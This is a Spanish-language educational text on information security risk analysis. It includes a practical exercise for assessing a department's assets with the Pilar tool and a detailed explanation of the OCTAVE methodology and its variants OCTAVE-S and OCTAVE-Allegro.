El análisis de riesgo es fundamental para cualquier sistema de gestión, como departamentos o empresas enteras. Si bien es un modelo que no cubre al 100% todas las posibilidades de riesgos, nos pone en la ruta correcta para una buena gestión de los sistemas de seguridad de la información.

Son muchos los marcos (frameworks) que se basan en el modelo de riesgo. Identifica activos de tu organización bajo un contexto (alcance) y luego se establecen un cuadro de amenazas en función de probabilidad de que alguna de esas amenazas se pueda llegar a consolidar.

Recomendamos instalar entonces la herramienta Pilar y empezar a conocer su funcionamiento con el sistema que viene de ejemplo. 

Y ya para finalizar, proponemos una actividad.

Actividad

Actividad para realizar: “Análisis de riesgo de mi departamento”

Tiempo estimado: 60 minutos

  1. Descarga Pilar.
  2. Ahora realiza en lápiz y papel un listado de activos de tu departamento. Esto incluye, personas, dependencias de otros departamentos, programas con los que se trabaja, base de datos, ficheros, servidores, servicios.
  3. Prepara ese listado de activos identificados en una hoja de cálculo.
  4. Ahora debes poner un nivel de criticidad por dimensión, para hacerlo sencillo pondremos 3 filas en función de criticidad. Mira este ejemplo:Como se puede ver, en esta hoja de cálculo se le dio un valor a cada dimensión de 1 a 5, pero podemos utilizar de 1 a 10. Luego nos quedamos con el valor del riesgo más alto para la resultante.Los activos pueden agruparse, por ejemplo, los equipos de trabajo pueden tener todos las mismas características por lo que al poner uno se puede extender a todos. En tal caso se habla del grupo de equipos de trabajo de la oficina.
  5. Con esta lista, ya podemos ir a Pilar y rellenar los activos, nos quedaremos con aquellos activos más significativos para analizar el riesgo sobre el servicio o sistema que queremos calcular. Por ejemplo si la oficina da un servicio de atención al cliente mediante línea telefónica, dicha línea y todo lo que esté relacionada con su funcionamiento es crítico. Por lo que en ese caso, la existencia o no de una papelera o un armario para archivar no es crítico, ya que el servicio se podrá seguir dando sin o con papelera.
  6. Ahora que tienes todos los activos, debes establecer su nivel de criticidad según las dimensiones que quieras poner (esto en Pilar se puede seleccionar, en 3 dimensiones CID, o las 5 del ENS). Ya que Pilar también permite hacer Gestión del riesgo para la norma ISO 27001.
  7. Ahora procede a calcular el riesgo.
  8. Una vez tengas el análisis, debes de definir donde pondrá tu umbral de riesgo. El umbral implica que después de un valor de riesgo, debes de tratarlo, ya que se puede considerar crítico. Por ejemplo en un umbral de riesgo 5, todo lo que sale por debajo de 5, no se suele tratar, automáticamente la organización lo asume, y tendrá que tratar todo lo que sea igual o superior a 5.

Buen trabajo si has hecho estos pasos, ya tienes tu análisis de riesgo finalizado. Esperemos que no tengas que hacer tratamiento del riesgo.

Octave

Si tenemos que hablar de riesgo, entonces tendremos que hablar de metodologías. Por lo que, se debe definir inicialmente qué es el riesgo, el cual se define como una probabilidad que ocurra un evento, puede ser previsto y evitado, las amenazas y las vulnerabilidades por separadas no llegan a presentar un daño de grandes magnitudes, en cambio, si se mezclan la probabilidad de daño es mucho más grande. De tal manera, el llamado riesgo informático se desarrolla a la par de la tecnología y cada día son mucho más las vulnerabilidades y amenazas que acechan la información.

Una buena gestión de riesgo en la seguridad de la información de una organización requiere una buena inversión de tiempo, esfuerzo y dedicación. Por lo general, una organización que entienda el valor sustancial de sus activos y desea realizar una inversión para gestionar sus vulnerabilidades, se debe inclinar hacia un sistema de gestión basado en políticas, procesos, recursos, documentación y estructura organizacional; todos estos elementos mezclados, permiten de alguna u otra manera, planificar, desarrollar, controlar y tomar acción.

Además, suele acogerse a las normas de la familia ISO 27005. Se debe tener en cuenta que el hecho de plantear una gestión para el riesgo no es solo para proteger sus activos de información, sino procurar que la empresa u organización logre cumplir su misión, por lo que al hablar de gestión se define como un ciclo reiterativo, que identifica, evalúa y ejecuta. El proceso para la gestión de riesgo, se encuentra conformado por 5 procesos, los cuáles se describen a continuación:

  1. Establecimiento del Contexto: Este proceso contextualiza el entorno, en este caso de la empresa, recibiendo toda la información relevante de la misma.
  2. Evaluación de Riesgos: Este proceso trae consigo 3 subprocesos; la identificación, la revisión y el control de riesgos. Identifica de forma cuantitativa cualitativa los riegos y le da una cierta prioridad a los criterios de evaluación que dependen o están muy alineados a los objetivos de la organización.  De esta manera, se puede controlar y determinar lo que podría generar una pérdida de gran magnitud y el lugar donde puede presentarse. Y por último el proceso de evaluación se encarga de comparar los niveles de criterios de riesgos y los de aceptación, su resultado genera un listado de vulnerabilidades y/o amenazadas pero priorizadas. Para esta evaluación de riesgo se finaliza con un interpretación del mismo, dando uso a la llamada Matriz de análisis, en ella, se puede determinar la probabilidad de riesgo versus la magnitud de daño, tomando valores respectivamente desde el 1 hasta el 4, o en otros casos la clasificación del riesgo sería en bajo, moderado, importante y crítico versus las consecuencias. Se debe tener en cuenta que para este proceso se plantean las llamadas metodologías de evaluación.
  3. Tratamiento de los Riesgos: Este proceso está encaminado a plantear las posibles medidas de seguridad para reducir o evitar los riesgos y generar contingencias.
  4. Consulta de RiesgosEste proceso informa de los riesgos existentes a todas las partes interesadas de la organización.
  5. Monitorización de RiesgosEste proceso supervisa todas aquellas medidas de seguridad planteadas para contrarrestar los riesgos, con el objetivo de determinar si están funcionando correctamente o están ejecutando la acción para la cual fueron planteadas. Luego de esta implementación se ejecutan las llamadas auditorías internas, documentando todo el proceso y señalando su eficacia.

De esta manera, y con el trascurrir de los años la tecnología ha ido evolucionando, así como los métodos para vulnerar todos los sistemas de información, es así como las normas y los modelos para la gestión de riesgo han ido evolucionando, implementando las conocidas metodologías, se tienen muchas pero las que se analizarán son: OCTAVE y MAGERIT.

Metodología Octave

Es una técnica de evaluación de riesgos desarrollada por el SEI (Software Engineering Institute) en Estados Unidos. Es reconocida a nivel mundial y ha tenido excelente adaptación. Las fases que la componen la catalogan un poco más complicada que las demás metodologías.

La misma está enfocada en el riesgo y no en la tecnología como las demás, cuando se usa este tipo de metodología personal de varios departamentos como el operativo, el de tecnología, entre otros; trabajan en conjunto proyectados a la necesidad de seguridad, apoyados por un especialista. Es necesario considerar, que esta metodología fue desarrollada para ser implementada en organizaciones de más de 300 empleados y se encuentra dividido en tres etapas como se puede observar en la siguiente figura.

Fase 1: Build Asset-Based Threat Profiles: desarrolla perfiles de amenazas basados en los activos, en la cual se identifican los bienes, las amenazas, prácticas actuales, vulnerabilidades y los recursos de seguridad de la compañía.

Fase 2: Identify Infrastructure Vulnerabilities: identificar las vulnerabilidades de la infraestructura, se basa en los componentes clave y sus correspondientes vulnerabilidades técnicas.

Fase 3:  Develop Security Strategy and Plans: desarrollar estrategias y planes de seguridad, con base a los riesgos, la estrategia de protección y los planes de mitigación.

Buid asset-based threat profiles – Generar perfiles de activos basados en la amenaza

En esta fase se realiza un análisis para identificar los activos más importantes para la organización y que se está realizando para su protección en la actualidad. Comprende los siguientes cuatro procesos:

1. Identify enterprise knowledge – Identificar el conocimiento de la empresa

El objetivo de este proceso es identificar la perspectiva que tienen los directivos. Identificar el conocimiento de la empresa ilustra las entradas que se necesitan para obtener las salidas. Como entradas se puede observar el cuestionario de activos, perfil genérico de las amenazas, catálogo de amenazas (cuestionario de la estrategia de protección de la organización), catálogo de prácticas de la organización, técnicas y de entrenamiento, datos organizacionales (organigrama, políticas, procedimientos), por último, las leyes y las regulaciones que la compañía se encuentre obligada a cumplir. Para conseguir la lista priorizada de activos con sus valores relativos, perfil de la amenaza empresarial, la estrategia de protección actual, los indicadores de riesgo, y las áreas operacionales a evaluar. Todo con respecto al conocimiento del área gerencial de la compañía.

Este proceso está compuesto por cinco actividades que se describen a continuación y en las cuáles se explica con mayor detalle las entradas y salidas que le corresponden.

  1. Characterize key enterprise assets – Identificar los activos clave de la empresa:
    Responde a la pregunta: “¿Qué está intentando proteger?”.Dependiendo del conocimiento que la alta gerencia tenga de la empresa y del cuestionario que se les realice. Se obtendrá la lista de los activos que identifican como importantes, con sus respectivos valores relativos para la dirección de la compañía.
  2. Describe threats to assets – Describir las amenazas de los activos:
    ¿De qué está intentando proteger sus activos?”, es la cuestión en esta actividad. Aquí también es importante el conocimiento que la directiva tiene sobre las amenazas que afectan los activos. Se adquiere el perfil de la amenaza empresarial desde el enfoque directivo.
  3. Describe current and planned strategy to protect assets – Describir la estrategia actual y planificada para proteger los activos:
    La dirección que conocimiento tiene al respecto de prácticas y políticas que se encuentran actualmente o en planificación para la protección de los bienes.
    La pregunta aquí es: “¿Qué está haciendo actualmente para proteger sus activos?”. Como resultado se encuentra la estrategia de protección empresarial actual, desde la perspectiva de la alta gerencia.
  4. Identify risk indicators – Identificar los indicadores de riesgo:
    La salida de esta actividad son los indicadores de riego empresarial, es decir, las preocupaciones de la alta gerencia, dependiendo del cuestionario basado en buenas prácticas técnicas y de capacitaciones en las organizaciones, documentación de políticas y procedimientos, también las leyes y regulaciones que la empresa debe cumplir. El interrogante a esta actividad es: “¿Qué brechas en su estrategia de protección actual están poniendo sus activos en riesgo?”.
  5. Select operational areas to evaluate – Seleccionar áreas operativas para evaluar:
    Esta actividad responde a dos interpelaciones: “¿Qué áreas operativas o funciones de soporte están involucradas con los activos clave que usted identifico?” y “¿Quiénes son los gerentes clave de esas áreas operativas o funciones de apoyo?”. De esta forma se obtiene las áreas que son prioridad para evaluar.

2. Identify operational area knowledge – Identificar el conocimiento del área operativa

De acuerdo al conocimiento actual de los gerentes del área operacional, un cuestionario de activos, perfil genérico de amenazas, cuestionario de la estrategia de protección (catálogo de la organización, técnicas y de entrenamiento), datos organizacionales (organigrama, políticas y procedimientos), leyes y regulaciones que se deban cumplir y la lista despreciando las prioridades de los activos de la empresa con sus respectivos valores relativos, que los jefes de área operativa proporcionen, corresponden a las entradas de esta parte de la metodología.

Para tener como salidas una lista priorizada de activos del área operativa, un mapa en el cual se cruce los activos empresariales identificados por el área gerencial y los activos identificados por el área operativa, un perfil de amenazas, la estrategia actual de protección, los indicadores de riesgo, todo esto correspondiente al área operativa y el personal que se considera debe ser evaluado. Las actividades que corresponden a esta parte de la metodología se describen a continuación.

  1. Characterize key operational área assets – Caracterizar los activos clave del área operativa:
    Los gerentes de área responden: “¿Qué está intentando proteger?”. Depende del conocimiento que se tenga sobre los activos concernientes para obtener la lista de estos.
  2. Characterize assets in relation to enterprise assets – Caracterizar los activos en relación con los activos de la empresa:
    Es la relación con la lista de los activos identificados en el proceso 1, cuestionando: “¿Cuál es la relación o relaciones entre los activos que ha identificado con los activos que ha identificado la alta gerencia?”. Como resultado la o las relaciones documentadas.
  3. Describe threats to assets – Describir las amenazas a los activos:
    ¿De qué está tratando proteger sus activos?”, es el interrogante de esta actividad. En base al conocimiento de los gerentes de área operacional sobre las amenazas a sus activos y con un perfil genérico de estas, la respuesta será el perfil de las amenazas de los activos del área operacional desde su respectivo punto de vista.
  4. Describe current and planned strategy to protect assets – Describir la estrategía actual y planificada para proteger los activos:
    De acuerdo al conocimiento que los gerentes de área, se da a conocer las buenas prácticas técnicas y de formación, políticas, procedimientos de la empresa y las leyes que esta debe cumplir, responden al interrogante: “¿Qué está haciendo para proteger sus activos?”. De esta forma se obtiene la estrategia de protección del área operativa.
  5. Identify risk indicators – Identificar indicadores de riesgo:
    Teniendo en cuenta un entrenamiento adecuado en seguridad, programa de concientización para el personal y la documentación de políticas y procedimientos para la protección de los activos, se responde la siguiente pregunta: “¿Qué brechas en su estrategia de protección actual están poniendo sus activos en riesgo?”.  Arroja los indicadores de riesgo correspondiente al área operacional, dando resultado la expresión de las inquietudes de los riesgos a los que están expuestos sus activos.
  6. Select staff to evaluate – Seleccionar personal para evaluar:
    En esta actividad se necesita la información recolectada en las anteriores, para escoger líderes o miembros clave de equipo que deban ser evaluados. La indagación es: “¿Quiénes son los miembros clave?”.

3. Identify staff knowledge – Identificar el conocimiento del personal

Detalla las entradas y las salidas que pertenecen a esta parte.

En las entradas se tiene el conocimiento actual del personal, cuestionario de activos, perfil genérico de amenazas, cuestionario de la estrategia de protección actual, catálogo de las prácticas de la organización, técnicas y de capacitación, datos organizacionales (organigrama, políticas y procedimientos), leyes y regulaciones que la compañía está obligada a cumplir, lista priorizada de activos, lista de activos del área operacional y el mapa de cruce de activos. Y se obtiene la lista de activos que el personal identifica, mapa de los activos de la empresa comparado con los activos del área operacional y los del personal, perfil de amenazas, la estrategia actual de protección y los indicadores de riesgo correspondientes a esta área.

A continuación, se describen las actividades que aquí se contemplan:

  1. Characterize key staff assets – Caracterizar los activos clave del personal:
    ¿Qué está tratando de proteger?” es lo que debe responder el personal en esta actividad, la respuesta dependerá de su conocimiento con respecto a los activos, por medio de un cuestionario. Y de esta forma se consigue la lista priorizada de los activos importantes para el personal.
  2. Characterize assets in relation to operational area and enterprise assets – Caracterizar los activos en relación con el área operacional y los activos de la empresa:
    Se plantean y relacionan los activos que anteriormente se identificaron como importantes con los que el personal establece con prioridad. La pregunta que hace referencia en esta actividad es: “¿Cuáles son las relaciones entre los activos que ha identificado el personal, con los del área operacional y los pertenecientes a la alta gerencia?”. Para obtener la documentación de estas conexiones.
  3. Describe threats to assets – Describir las amenazas de los activos:
    La cuestión es: “¿De qué está tratando de proteger sus activos?”. Que responderán de acuerdo al perfil genérico de amenazas y del conocimiento que posean. Así se obtiene el perfil de amenaza.
  4. Describe current and planned strategy to protect assets – Describe la estrategia y planificación para proteger los activos:
    La pregunta es “¿Toca aquella estrategia planteada, ser implementada y monitoreada para su efectividad?”.
  5. Create Threat Profile – Creación de Perfiles de Amenazas:
    Este proceso integra toda la información contenida en los procesos anteriores, y procede a crear un conjunto de perfiles de amenazas para los activos en estado crítico, por lo general, este tipo de procedimiento suele gestionarse por el equipo de análisis.

4. Identify Technological Vulnerabilities – Identificar vulnerabilidades tecnológicas

Para esta fase se contemplan los siguientes procesos:

  1. Identificación de los componentes clave: Este proceso se encarga de elegir que partes u componentes específicos serán analizados en busca de vulnerabilidades tecnológicas, identifica los principales sistemas de tecnología y asimismo los activos críticos.
  2. Evaluación de componentes: En esta parte y con los componentes seleccionados se evalúan las vulnerabilidades y con el equipo de los análisis se procede a ejecutar las herramientas de evaluación para posteriormente analizar el resultado. La correcta ejecución de este proceso puede mitigar el impacto de la amenaza en la organización.

5. Develop Security Strategy and Plans

Fase caracterizada por el manejo de los procesos de análisis de riesgo y el desarrollo de una estrategia de contingencia.

  1. Análisis de Riesgo: Proceso encargado de estudiar el impacto de las amenazas a los activos críticos, luego evalúa y crea los criterios para la evaluación de los riesgos.
  2. Desarrollo de una estrategia de protección: Finalmente, el equipo de análisis crea una estrategia para la protección de los activos, esto con el objetivo de contrarrestar o evitar el impacto de la amenaza, este proceso se basa en el análisis de la información recolectada anteriormente.

Se debe tener en consideración, que en vista de las necesidades de cada organización y dependiendo del tamaño de la misma, se diseñaron 3 métodos OCTAVE para suplir esas solicitudes.

Está compuesto por una serie de talleres y/o programas que son llevados a cabo por la propia organización, aprovechando de esta manera los conocimientos propios de los niveles de la misma. Este grupo se centra únicamente en establecer los puntos críticos y las posibles amenazas, asimismo las vulnerabilidades tantos físicas como lógicas que atente a la organización y plantear la estrategia a utilizar.

Las fases en las que trabaja esta metodología son:

Fase de análisis de Riesgo

Esta fase permite determinar 3 variables: [9]

  1. ¿Cuál es?
  2. ¿Cuánto vale?
  3. ¿Cómo se protege?

MÉTODO OCTAVE-S:

Operationally Critical Threat, Asset and Vulnerability Evaluation for Small Organization, fue desarrollado para ser implementado en organizaciones pequeñas de 100 personas o menos utilizando un proceso un poco más reducido que el OCTAVE, pero con los mismos resultados. Las dos principales diferencias de este método con el original son:

  1. Requiere un grupo de 3 a 5 personas que conozcan a plenitud el desarrollo de la empresa.
  2. Solo realiza un barrido de manera superficial a la infraestructura informática.

MÉTODO OCTAVE-ALLEGRO

Es una simplificación del método original y está enfocado solo en los activos de la organización, es perfecta cuando se desea gestionar una evaluación de riesgo, pero sin mucha participación del personal de la empresa, está conformado por 8 pasos organizados en 4 fases. [5][6] Estas son las siguientes:

Fase 1: Evaluación de los participantes desarrollando criterios de medición de riesgo.

Fase 2: Creación de los participantes un perfil de activos críticos.

Fase 3: Los participantes identifican las amenazas a cada uno de los activos.

Fase 4: Los participantes identifican y analizan las amenazas y desarrollan planes de contingencia.

Conclusión

El principal objetivo de la metodología OCTAVE se orienta hacia los aspectos de riesgos operativos y prácticas de seguridad. Esto significa que para que las empresas y las organizaciones puedan tomar las decisiones pertinentes en lo relativo a la protección de la información con base en riesgos tales como la confidencialidad, la integridad o la disponibilidad de los bienes afines a la información crítica, la tecnología será sometida a examen en proporción a las diferentes prácticas de seguridad.La metodología OCTAVE se desarrolló en la Universidad Carnegie Mellon de Pensilvania, en los Estados Unidos. Esto se hizo en el Centro de Coordinación del Instituto de Ingeniería de Software. OCTAVE está compuesta por tres fases diferenciadas de desarrollo.